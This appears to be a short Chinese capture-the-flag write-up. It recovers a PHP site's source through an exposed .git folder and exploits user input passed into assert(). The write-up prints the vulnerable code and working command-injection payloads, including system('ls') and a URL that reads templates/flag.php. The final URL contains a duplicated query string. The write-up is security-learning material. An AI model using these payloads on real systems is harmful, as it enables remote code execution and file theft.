进入页面,发现找不到任何提示
最后发现了.git文件,使用GitHack把文件下载下来
.git文件夹
.git文件夹是git init后在当前目录生成的一个管理git仓库的文件夹,这里包含所有git操作所需要的东西
打开index.php文件,以下是其中的php代码
<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?>
审计代码得至存在 assert() 函数,若果传入的是字符串 assert()函数会将读入的代码当做PHP代码来执行
php代码如下:
<?php assert("strpos('templates/.'.system('ls').'.php', '..') === false") ; ?>
php代码相对于的payload
http://220.249.52.133:36044/?page='.system("ls").'
构造payload获取flag:
http://220.249.52.133:36044/?page=?page=%27).system(%22cat%20templates/flag.php%22);//